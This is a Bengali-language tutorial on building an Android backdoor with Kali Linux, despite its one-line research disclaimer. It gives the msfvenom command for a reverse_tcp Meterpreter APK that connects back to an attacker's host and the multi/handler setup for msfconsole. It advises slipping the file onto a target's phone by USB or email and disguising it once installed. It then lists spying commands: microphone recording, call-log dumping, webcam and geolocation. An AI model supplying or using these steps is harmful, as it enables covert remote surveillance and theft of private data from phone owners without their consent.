একটি অ্যান্ড্রয়েড স্মার্টফোন প্রায়শই অধিকাংশ কমার্শিয়াল IoT গ্যাজেটের গেটওয়ে। একটি নেস্ট স্মোক অ্যালার্ম একটি প্রাসঙ্গিক অ্যান্ড্রয়েড অ্যাপ দিয়ে ম্যানেজ হয়। নেস্ট থার্মোস্ট্যাটও তাপমাত্রা কন্ট্রোল করতে পারে। স্মার্ট লক, ডোরবেল ক্যাম—প্রায় সকল স্মার্ট ডিভাইস অ্যালেক্সা বা অন্যান্য মাস্টার অ্যাপ থেকে অ্যাক্সেসযোগ্য। কেউ যদি এমন একটি অ্যান্ড্রয়েড ফোনে রিমোট অ্যাক্সেস পায় তবে? আপনি কি মনে করেন এটি অসম্ভব? এর জন্য, আমরা একটি বেসিক ডেমো দেব কীভাবে কালি লিনাক্স "মেটাস্প্লয়েট" ব্যবহার করে আপনার অ্যান্ড্রয়েড ফোনে একটি ব্যাকডোর এন্ট্রি তৈরি করা যায়।
নোট: এই টিউটোরিয়াল সিকিউরিটি রিসার্চার এবং হবিস্টদের জন্য। আমরা কাউকে পারমিশন ছাড়া ফোন হ্যাক করার পরামর্শ দিই না।
ব্যাকগ্রাউন্ড
কালি লিনাক্সে কাজ শুরু করার আগে, আপনাকে প্রথমে এর কনসোল টার্মিনালের সাথে পরিচিত হতে হবে।
এটি সহজে একটি বিস্তৃত টুল লিস্ট হোস্ট করে যা ডিভাইসের ফার্মওয়্যার বা অপারেটিং সিস্টেম টার্গেট করার জন্য ডিজাইন করা।
এখানে, আমরা সাধারণ টুলগুলোর এক "MSFVenom" ব্যবহার করব অ্যান্ড্রয়েড ফোনে একটি ভাইরাস ইনসার্ট করতে। এটি ইউজার সিলেক্টেড অপশন বেসড একাধিক ধরণের পেলোড জেনারেট করে। এক্সপ্লয়েট উইন্ডোজ, অ্যান্ড্রয়েড, OpenBSD, Solaris, JAVA, PHP, এবং গেমিং হার্ডওয়্যার সহ অনেক প্ল্যাটফর্মে কাজ করে।
অ্যান্ড্রয়েড মেটাস্প্লয়েট লঞ্চ করা
নিচের ধাপগুলো দেখাবে কীভাবে একটি কালি লিনাক্স সিস্টেমে MSFVenom ডাউনলোড করা যায়।
টার্মিনাল শুরু করুন এবং নিচের কমান্ডটি লিখুন।
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP address LPORT=Number R > /root/LOCATION/hackand.apk
এখানে, পেলোডটি "Meterpreter" নামে একটি এক্সপ্লয়েট এক্সটেনশন ব্যবহার করে লঞ্চ করা হয়।
লিসেনার হোস্টের IP অ্যাড্রেস জানতে, একটি নতুন কনসোল টার্মিনাল খুলুন এবং ifconfig লিখুন। সাধারণত ট্রোজান, এক্সপ্লয়েট এবং ভাইরাসের জন্য পোর্ট ৪৪৪৪ অ্যাসাইন করা থাকে।
IP অ্যাড্রেস নির্ধারণ হলে, আগের স্ক্রিনে ফিরে ডিটেইলস লিখুন।
"hackand.apk" ফাইলটি ডেস্কটপে সেভ হবে এবং এটি অ্যান্ড্রয়েড ফোনে ব্যবহার করার মূল ব্যাকডোর এক্সপ্লয়েট।
পরবর্তী ধাপে, "msfconsole" লঞ্চ করুন যা কালি লিনাক্সের সাথে ব্যবহৃত একটি সাধারণ পেনিট্রেশন টেস্টিং টুল। এর জন্য, service postgresql start এবং তারপর msfconsole লিখুন। PostgreSQL সেটি ডেটাবেস যেখানে কনসোলটি স্টোরড রয়েছে।
পেনিট্রেশন টুল প্রস্তুত হলে, বাকি এক্সপ্লয়েট লঞ্চ করুন।
পরবর্তী ধাপে, "multi-handler" নামে একটি এক্সিকিউটেবল ব্যবহার করা হবে।
use multi/handler
নিচের ইমেজ রেফার করুন এক্সপ্লয়েটকে কনসোলের সাথে কানেক্ট করার জন্য। একই IP অ্যাড্রেস এবং পোর্ট নম্বর ব্যবহার করা হবে।
পরবর্তী স্টেজে, msfvenom এক্সপ্লয়েটটি একটি সিম্পল exploit কমান্ড দিয়ে লঞ্চ ও ইনিশিয়ালাইজ করা হবে। এখন, আমাদের একটি টার্গেট খুঁজতে হবে যা হবে একটি অ্যান্ড্রয়েড ফোন।
কালি লিনাক্স টার্মিনালকে অ্যান্ড্রয়েড ফোনের সাথে কানেক্ট করা
আমরা আগে যা ডাউনলোড করেছিলাম "hackand.apk" ফাইলটি শুধু ১০ KB সাইজের। আপনাকে টার্গেটের ফোনে ফাইলটি ইনসার্ট করার উপায় খুঁজতে হবে। আপনি USB বা টেম্পোরারি ইমেইল সার্ভিস ব্যবহার করে ভাইরাস ট্রান্সফার করতে পারেন।
সাধারণত, Gmail বা Yahoo-এর মতো ওয়েবমেইল প্রোভাইডার এই ভাইরাস-ইনফেক্টেড ফাইল ক্যারি করতে অস্বীকার করবে।
অ্যান্ড্রয়েড আপনাকে সফটওয়্যার ইনসার্ট করার আগে সতর্ক করবে। কিন্তু, এটিতে ২০ সেকেন্ডের কম সময় লাগে ইনস্টলেশন কমপ্লিট করতে কারণ আপনাকে শুধু "ignore the risk and install" করতে হয়। এটি হুমকিটি কিছুটা সিরিয়াস করে দেয় যদি আপনার ফোন আনলক মোডে থাকে।
এখানে দেখানো হয়েছে, ফোনের সাথে অনেক ক্ষতি করা যায় যার মধ্যে স্টোরেজ কন্টেন্ট মডিফাই করা, ফোনকে স্লিপ থেকে রোধ করা, ওয়াই-ফাই কানেক্ট ও ডিসকানেক্ট করা, ওয়ালপেপার সেট করা, এবং আরও অনেক কিছু।
APK ফাইল ইনস্টল হলে, এটিকে ফোনের ভিতরে চতুরाईপূর্বক ডিসগাইজ করা যায়।
এখন, আপনি কালি লিনাক্স টার্মিনালে নিচের কমান্ডগুলো ব্যবহার করে ফোন কন্ট্রোল করতে পারেন। আপনাকে সেগুলো মনে রাখতে হবে না কারণ লিস্টটি meterpreter-এ সিম্পল help অপশন থেকে পাওয়া যায়।
record_mic: মাইক্রোফোন রেকর্ড করাdump calllog: কল লগ পাওয়াwebcam_chat: ভিডিও চ্যাট শুরু করাgeolocate: ফোনের বর্তমান লোকেশন পাওয়া
অধিকাংশ উন্নত অ্যান্ড্রয়েড ফোন এই ম্যালিশিয়াস অ্যাপ ইনস্টল হওয়া থেকে রোধ করবে। তাই, এই এক্সপ্লয়েট সাধারণত পুরনো অ্যান্ড্রয়েড মডেলগুলোর সাথে কাজ করে।
চিন্তা
এই টিউটোরিয়ালে, আমরা কালি লিনাক্স ব্যবহার করে একটি অ্যান্ড্রয়েড স্মার্টফোনে অ্যাক্সেস পাওয়ার একটি বেসিক কৌশল দেখলাম। যদিও এটি একটি খুব সিম্পল এক্সপ্লয়েট, IoT সিকিউরিটির দৃষ্টিতে এর বড় ইম্প্লিকেশন রয়েছে।
আপনি কালি লিনাক্স এক্সপ্লয়েট সম্পর্কে কী চিন্তা করেন? আপনি কি আপনার ফোনের সিকিউরিটি সম্পর্কে আরও সতর্ক হবেন? কমেন্টে জানান।
